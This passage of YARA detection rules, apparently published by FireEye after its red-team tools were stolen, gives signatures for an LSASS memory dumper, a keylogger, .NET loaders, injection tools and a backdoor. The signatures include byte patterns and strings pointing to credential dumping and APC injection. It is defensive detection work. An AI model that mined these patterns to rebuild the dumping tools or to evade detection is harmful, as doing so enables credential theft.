		description = "This rule looks for the binary signature of the routine that calls PssFreeSnapshot found in the Excavator-Reflector DLL."
		md5 = "6a9a114928554c26675884eeb40cc01b"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "89037b9a-78b0-5a8c-bb60-3d54842d81e1"

	strings:
		$bytes1 = { 4C 89 74 24 20 55 48 8D AC 24 60 FF FF FF 48 81 EC A0 01 00 00 48 8B 05 4C 4A 01 00 48 33 C4 48 89 85 90 00 00 00 BA 50 00 00 00 C7 05 CB 65 01 00 43 00 3A 00 66 89 15 EC 65 01 00 4C 8D 44 24 68 48 8D 15 D8 68 01 00 C7 05 B2 65 01 00 5C 00 57 00 33 C9 C7 05 AA 65 01 00 69 00 6E 00 C7 05 A4 65 01 00 64 00 6F 00 C7 05 9E 65 01 00 77 00 73 00 C7 05 98 65 01 00 5C 00 4D 00 C7 05 92 65 01 00 45 00 4D 00 C7 05 8C 65 01 00 4F 00 52 00 C7 05 86 65 01 00 59 00 2E 00 C7 05 80 65 01 00 44 00 4D 00 C7 05 72 68 01 00 53 00 65 00 C7 05 6C 68 01 00 44 00 65 00 C7 05 66 68 01 00 42 00 75 00 C7 05 60 68 01 00 47 00 50 00 C7 05 5A 68 01 00 72 00 69 00 C7 05 54 68 01 00 56 00 69 00 C7 05 4E 68 01 00 4C 00 45 00 C7 05 48 68 01 00 67 00 65 00 C7 05 12 67 01 00 6C 73 61 73 C7 05 0C 67 01 00 73 2E 65 78 C6 05 09 67 01 00 65 FF 15 63 B9 00 00 45 33 F6 85 C0 74 66 48 8B 44 24 68 48 89 44 24 74 C7 44 24 70 01 00 00 00 C7 44 24 7C 02 00 00 00 FF 15 A4 B9 00 00 48 8B C8 4C 8D 44 24 48 41 8D 56 20 FF 15 1A B9 00 00 85 C0 74 30 48 8B 4C 24 48 4C 8D 44 24 70 4C 89 74 24 28 45 33 C9 33 D2 4C 89 74 24 20 FF 15 EF B8 00 00 FF 15 11 B9 00 00 48 8B 4C 24 48 FF 15 16 B9 00 00 48 89 9C 24 B0 01 00 00 48 8D 0D BF 2E 01 00 48 89 B4 24 B8 01 00 00 4C 89 74 24 40 FF 15 1C B9 00 00 48 85 C0 0F 84 B0 00 00 00 48 8D 15 AC 2E 01 00 48 8B C8 FF 15 1B B9 00 00 48 8B D8 48 85 C0 0F 84 94 00 00 00 33 D2 48 8D 4D 80 41 B8 04 01 00 00 E8 06 15 00 00 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 63 66 0F 1F 44 00 00 48 8B 4C 24 40 4C 8D 45 80 41 B9 04 01 00 00 33 D2 FF 15 89 B8 00 00 48 8D 15 F2 65 01 00 48 8D 4D 80 E8 49 0F 00 00 48 85 C0 75 38 33 D2 48 8D 4D 80 41 B8 04 01 00 00 E8 A3 14 00 00 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 A3 33 C0 E9 F5 00 00 00 48 8B 5C 24 40 48 8B CB FF 15 5E B8 00 00 8B F0 48 85 DB 74 E4 85 C0 74 E0 4C 8D 4C 24 50 48 89 BC 24 C0 01 00 00 BA FD 03 00 AC 41 B8 1F 00 10 00 48 8B CB FF 15 12 B8 00 00 85 C0 0F 85 A0 00 00 00 48 8D 05 43 FD FF FF 4C 89 74 24 30 C7 44 24 28 80 00 00 00 48 8D 0D 3F 63 01 00 45 33 C9 48 89 44 24 58 45 33 C0 C7 44 24 20 01 00 00 00 BA 00 00 00 10 4C 89 74 24 60 FF 15 E4 B7 00 00 48 8B F8 48 83 F8 FF 74 59 48 8B 4C 24 50 48 8D 44 24 58 48 89 44 24 30 41 B9 02 00 00 00 4C 89 74 24 28 4C 8B C7 8B D6 4C 89 74 24 20 FF 15 B1 B9 00 00 48 8B CB FF 15 78 B7 00 00 48 8B CF FF 15 6F B7 00 00 FF 15 B1 B7 00 00 48 8B 54 24 50 48 8B C8 FF 15 53 B7 00 00 33 C9 FF 15 63 B7 00 00 CC 48 8B CB FF 15 49 B7 00 00 48 8B BC 24 C0 01 00 00 33 C0 48 8B B4 24 B8 01 00 00 48 8B 9C 24 B0 01 00 00 48 8B 8D 90 00 00 00 48 33 CC E8 28 00 00 00 4C 8B B4 24 C8 01 00 00 48 81 C4 A0 01 00 00 5D C3 }
		$bytes2 = { 4C 89 74 24 20 55 48 8D AC 24 60 FF FF FF 48 81 EC A? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 85 9? ?? ?? ?0 BA ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? 4C 8D 44 24 68 48 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 45 33 F6 85 C0 74 ?? 48 8B 44 24 68 48 89 44 24 74 C7 44 24 7? ?1 ?? ?? ?? C7 44 24 7C 02 ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B C8 4C 8D 44 24 48 41 8D 56 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 48 4C 8D 44 24 70 4C 89 74 24 28 45 33 C9 33 D2 4C 89 74 24 20 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 4C 24 48 FF ?? ?? ?? ?? ?? 48 89 9C 24 B? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 B4 24 B8 01 ?? ?? 4C 89 74 24 40 FF ?? ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 0F 1F 44 ?? ?? 48 8B 4C 24 40 4C 8D 45 80 41 ?? ?? ?? ?? ?? 33 D2 FF ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8D 4D 80 E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 5C 24 40 48 8B CB FF ?? ?? ?? ?? ?? 8B F0 48 85 DB 74 ?? 85 C0 74 ?? 4C 8D 4C 24 50 48 89 BC 24 C? ?1 ?? ?? BA ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 30 C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 33 C9 48 89 44 24 58 45 33 C0 C7 44 24 2? ?1 ?? ?? ?? BA ?? ?? ?? ?? 4C 89 74 24 60 FF ?? ?? ?? ?? ?? 48 8B F8 48 83 F8 FF 74 ?? 48 8B 4C 24 50 48 8D 44 24 58 48 89 44 24 30 41 B9 02 ?? ?? ?? 4C 89 74 24 28 4C 8B C7 8B D6 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 54 24 50 48 8B C8 FF ?? ?? ?? ?? ?? 33 C9 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B BC 24 C? ?1 ?? ?? 33 C0 48 8B B4 24 B8 01 ?? ?? 48 8B 9C 24 B? ?1 ?? ?? 48 8B 8D 9? ?? ?? ?0 48 33 CC E8 ?? ?? ?? ?? 4C 8B B4 24 C8 01 ?? ?? 48 81 C4 A? ?1 ?? ?? 5D C3 }
		$bytes3 = { 4C 89 74 24 20 55 48 8D AC 24 60 FF FF FF 48 81 EC A? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 85 9? ?? ?? ?0 BA ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? 4C 8D 44 24 68 48 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 45 33 F6 85 C0 74 ?? 48 8B 44 24 68 48 89 44 24 74 C7 44 24 7? ?1 ?? ?? ?? C7 44 24 7C 02 ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B C8 4C 8D 44 24 48 41 8D 56 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 48 4C 8D 44 24 70 4C 89 74 24 28 45 33 C9 33 D2 4C 89 74 24 20 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 4C 24 48 FF ?? ?? ?? ?? ?? 48 89 9C 24 B? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 B4 24 B8 01 ?? ?? 4C 89 74 24 40 FF ?? ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 0F 1F 44 ?? ?? 48 8B 4C 24 40 4C 8D 45 80 41 ?? ?? ?? ?? ?? 33 D2 FF ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8D 4D 80 E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 5C 24 40 48 8B CB FF ?? ?? ?? ?? ?? 8B F0 48 85 DB 74 ?? 85 C0 74 ?? 4C 8D 4C 24 50 48 89 BC 24 C? ?1 ?? ?? BA ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 30 C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 33 C9 48 89 44 24 58 45 33 C0 C7 44 24 2? ?1 ?? ?? ?? BA ?? ?? ?? ?? 4C 89 74 24 60 FF ?? ?? ?? ?? ?? 48 8B F8 48 83 F8 FF 74 ?? 48 8B 4C 24 50 48 8D 44 24 58 48 89 44 24 30 41 B9 02 ?? ?? ?? 4C 89 74 24 28 4C 8B C7 8B D6 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 54 24 50 48 8B C8 FF ?? ?? ?? ?? ?? 33 C9 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B BC 24 C? ?1 ?? ?? 33 C0 48 8B B4 24 B8 01 ?? ?? 48 8B 9C 24 B? ?1 ?? ?? 48 8B 8D 9? ?? ?? ?0 48 33 CC E8 ?? ?? ?? ?? 4C 8B B4 24 C8 01 ?? ?? 48 81 C4 A? ?1 ?? ?? 5D C3 }
		$bytes4 = { 4C 89 74 24 ?? 55 48 8D AC 24 ?? ?? ?? ?? 48 81 EC A0 01 00 00 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? BA 50 00 00 00 C7 05 ?? ?? ?? ?? 43 00 3A 00 66 89 15 ?? ?? 01 00 4C 8D 44 24 ?? 48 8D 15 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 5C 00 57 00 33 C9 C7 05 ?? ?? ?? ?? 69 00 6E 00 C7 05 ?? ?? ?? ?? 64 00 6F 00 C7 05 ?? ?? ?? ?? 77 00 73 00 C7 05 ?? ?? ?? ?? 5C 00 4D 00 C7 05 ?? ?? ?? ?? 45 00 4D 00 C7 05 ?? ?? ?? ?? 4F 00 52 00 C7 05 ?? ?? ?? ?? 59 00 2E 00 C7 05 ?? ?? ?? ?? 44 00 4D 00 C7 05 ?? ?? ?? ?? 53 00 65 00 C7 05 ?? ?? ?? ?? 44 00 65 00 C7 05 ?? ?? ?? ?? 42 00 75 00 C7 05 ?? ?? ?? ?? 47 00 50 00 C7 05 ?? ?? ?? ?? 72 00 69 00 C7 05 ?? ?? ?? ?? 56 00 69 00 C7 05 ?? ?? ?? ?? 4C 00 45 00 C7 05 ?? ?? ?? ?? 67 00 65 00 C7 05 ?? ?? ?? ?? 6C 73 61 73 C7 05 ?? ?? ?? ?? 73 2E 65 78 C6 05 ?? ?? ?? ?? 65 FF 15 ?? ?? ?? ?? 45 33 F6 85 C0 74 ?? 48 8B 44 24 ?? 48 89 44 24 ?? C7 44 24 ?? 01 00 00 00 C7 44 24 ?? 02 00 00 00 FF 15 ?? ?? ?? ?? 48 8B C8 4C 8D 44 24 ?? 41 8D 56 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? 4C 8D 44 24 ?? 4C 89 74 24 ?? 45 33 C9 33 D2 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D ?? 41 B8 04 01 00 00 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 ?? 66 0F 1F 44 00 ?? 48 8B 4C 24 ?? 4C 8D 45 ?? 41 B9 04 01 00 00 33 D2 FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 D2 48 8D 4D ?? 41 B8 04 01 00 00 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 8B F0 48 85 DB 74 ?? 85 C0 74 ?? 4C 8D 4C 24 ?? 48 89 BC 24 ?? ?? ?? ?? BA FD 03 00 AC 41 B8 1F 00 10 00 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 4C 89 74 24 ?? C7 44 24 ?? 80 00 00 00 48 8D 0D ?? ?? ?? ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 C7 44 24 ?? 01 00 00 00 BA 00 00 00 10 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 83 F8 FF 74 ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 48 89 44 24 ?? 41 B9 02 00 00 00 4C 89 74 24 ?? 4C 8B C7 8B D6 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8B C8 FF 15 ?? ?? ?? ?? 33 C9 FF 15 ?? ?? ?? ?? CC 48 8B CB FF 15 ?? ?? ?? ?? 48 8B BC 24 ?? ?? ?? ?? 33 C0 48 8B B4 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8B B4 24 ?? ?? ?? ?? 48 81 C4 A0 01 00 00 5D C3 }

	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and any of ( $bytes* )
}

rule Builder_MSIL_SharpGenerator_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharpGenerator' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "ab661cba-f695-59d2-9071-9b9a90233457"

	strings:
		$typelibguid0 = "3f450977-d796-4016-bb78-c9e91c6a0f08" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HackTool_Win64_AndrewSpecial_1
{
	meta:
		description = "Detects AndrewSpecial process dumping tool"
		date = "2020-11-25"
		modified = "2020-11-25"
		md5 = "4456e52f6f8543c3ba76cb25ea3e9bd2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "20ce4902-4eb3-5ecf-aa8c-0515965dde57"

	strings:
		$dump = { 33 D2 B9 FF FF 1F 00 FF 15 [10-90] 00 00 00 00 [2-6] 80 00 00 00 [2-6] 02 00 00 00 45 33 C9 45 33 C0 BA 00 00 00 10 48 8D 0D [4] FF 15 [4-120] 00 00 00 00 [2-6] 00 00 00 00 [2-6] 00 00 00 00 41 B9 02 00 00 00 [6-15] E8 [4-20] FF 15 }
		$shellcode_x64 = { 4C 8B D1 B8 3C 00 00 00 0F 05 C3 }
		$shellcode_x64_inline = { C6 44 24 ?? 4C C6 44 24 ?? 8B C6 44 24 ?? D1 C6 44 24 ?? B8 C6 44 24 ?? 3C C6 44 24 ?? 00 C6 44 24 ?? 00 C6 44 24 ?? 00 C6 44 24 ?? 0F C6 44 24 ?? 05 C6 44 24 ?? C3 }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and $dump and any of ( $shellcode* )
}

rule Loader_MSIL_Generic_1
{
	meta:
		description = "Detects generic loader"
		md5 = "b8415b4056c10c15da5bba4826a44ffd"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "f919e3fc-cf76-53af-8f04-24921830666f"

	strings:
		$MSIL = "_CorExeMain"
		$opc1 = { 00 72 [4] 0A 72 [4] 0B 06 28 [4] 0C 12 03 FE 15 [4] 12 04 FE 15 [4] 07 14 }
		$str1 = "DllImportAttribute"
		$str2 = "FromBase64String"
		$str3 = "ResumeThread"
		$str4 = "OpenThread"
		$str5 = "SuspendThread"
		$str6 = "QueueUserAPC"

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and $MSIL and all of them
}

rule APT_Keylogger_Win32_REDFLARE_1
{
	meta:
		description = "Detects REDFLARE Keylogger"
		date = "2020-12-01"
		modified = "2020-12-01"
		md5 = "d7cfb9fbcf19ce881180f757aeec77dd"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "ad14db66-d640-5712-b2c8-a3d42d5a90f3"

	strings:
		$create_window = { 6A 00 68 [4] 6A 00 6A 00 68 00 00 00 80 68 00 00 00 80 68 00 00 00 80 68 00 00 00 80 68 00 00 CF 00 68 [4] 68 [4] 6A 00 FF 15 }
		$keys_check = { 6A 14 [0-5] FF [1-5] 6A 10 [0-5] FF [1-5] B9 00 80 FF FF 66 85 C1 75 ?? 68 A0 00 00 00 FF [1-5] B9 00 80 FF FF 66 85 C1 75 ?? 68 A1 00 00 00 FF [1-5] B9 00 80 FF FF 66 85 C1 74 }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them
}

rule Loader_MSIL_InMemoryCompilation_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'In-MemoryCompilation' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "80234352-a449-5292-9f0c-beb7a1d39a6c"

	strings:
		$typelibguid0 = "524d2687-0042-4f93-b695-5579f3865205" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HackTool_MSIL_WMISharp_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WMISharp' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "97b9d057-30d3-5af7-bac6-4dd53f47650f"

	strings:
		$typelibguid0 = "3a2421d9-c1aa-4fff-ad76-7fcb48ed4bff" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule APT_Loader_Win_PGF_2
{
	meta:
		description = "PE rich header matches PGF backdoor"
		md5 = "226b1ac427eb5a4dc2a00cc72c163214"
		md5_2 = "2398ed2d5b830d226af26dedaf30f64a"
		md5_3 = "24a7c99da9eef1c58f09cf09b9744d7b"
		md5_4 = "aeb0e1d0e71ce2a08db9b1e5fb98e0aa"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "595c9e2a-3d9d-5366-9449-de1bcf333f78"

	strings:
		$rich1 = { A8 B7 17 3A EC D6 79 69 EC D6 79 69 EC D6 79 69 2F D9 24 69 E8 D6 79 69 E5 AE EC 69 EA D6 79 69 EC D6 78 69 A8 D6 79 69 E5 AE EA 69 EF D6 79 69 E5 AE FA 69 D0 D6 79 69 E5 AE EB 69 ED D6 79 69 E5 AE FD 69 E2 D6 79 69 CB 10 07 69 ED D6 79 69 E5 AE E8 69 ED D6 79 69 }
		$rich2 = { C1 CF 75 A4 85 AE 1B F7 85 AE 1B F7 85 AE 1B F7 8C D6 88 F7 83 AE 1B F7 0D C9 1A F6 87 AE 1B F7 0D C9 1E F6 8F AE 1B F7 0D C9 1F F6 8F AE 1B F7 0D C9 18 F6 84 AE 1B F7 DE C6 1A F6 86 AE 1B F7 85 AE 1A F7 BF AE 1B F7 84 C3 12 F6 81 AE 1B F7 84 C3 E4 F7 84 AE 1B F7 84 C3 19 F6 84 AE 1B F7 }
		$rich3 = { D6 60 82 B8 92 01 EC EB 92 01 EC EB 92 01 EC EB 9B 79 7F EB 94 01 EC EB 1A 66 ED EA 90 01 EC EB 1A 66 E9 EA 98 01 EC EB 1A 66 E8 EA 9A 01 EC EB 1A 66 EF EA 90 01 EC EB C9 69 ED EA 91 01 EC EB 92 01 ED EB AF 01 EC EB 93 6C E5 EA 96 01 EC EB 93 6C 13 EB 93 01 EC EB 93 6C EE EA 93 01 EC EB }
		$rich4 = { 41 36 64 33 05 57 0A 60 05 57 0A 60 05 57 0A 60 73 CA 71 60 01 57 0A 60 0C 2F 9F 60 04 57 0A 60 0C 2F 89 60 3D 57 0A 60 0C 2F 8E 60 0A 57 0A 60 05 57 0B 60 4A 57 0A 60 0C 2F 99 60 06 57 0A 60 73 CA 67 60 04 57 0A 60 0C 2F 98 60 04 57 0A 60 0C 2F 80 60 04 57 0A 60 22 91 74 60 04 57 0A 60 0C 2F 9B 60 04 57 0A 60 }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and filesize < 15MB and ( ( $rich1 at 128 ) or ( $rich2 at 128 ) or ( $rich3 at 128 ) or ( $rich4 at 128 ) )
}

rule Trojan_Win_Generic_101
{
	meta:
		description = "Detects FireEye Windows trojan"
		date = "2020-11-25"
		modified = "2020-11-25"
		md5 = "2e67c62bd0307c04af469ee8dcb220f2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "0290aaea-d65b-5883-97f9-549d107e3e1f"

	strings:
		$s0 = { 2A [1-16] 17 [1-16] 02 04 00 00 [1-16] FF 15 }
		$s1 = { 81 7? [1-3] 02 04 00 00 7? [1-3] 83 7? [1-3] 17 7? [1-3] 83 7? [1-3] 2A 7? }
		$s2 = { FF 15 [4-16] FF D? [1-16] 3D [1-24] 89 [1-8] E8 [4-16] 89 [1-8] F3 A4 [1-24] E8 }
		$si1 = "PeekMessageA" fullword
		$si2 = "PostThreadMessageA" fullword

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and @s0 [ 1 ] < @s1 [ 1 ] and @s1 [ 1 ] < @s2 [ 1 ] and all of them
}

rule Loader_MSIL_CSharpSectionInjection_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'C_Sharp_SectionInjection' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "ca5bf5cd-1950-53ed-8984-e880a15e658e"

	strings:
		$typelibguid0 = "d77135da-0496-4b5c-9afe-e1590a4c136a" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule APT_HackTool_MSIL_SHARPWEBCRAWLER_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpwebcrawler' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
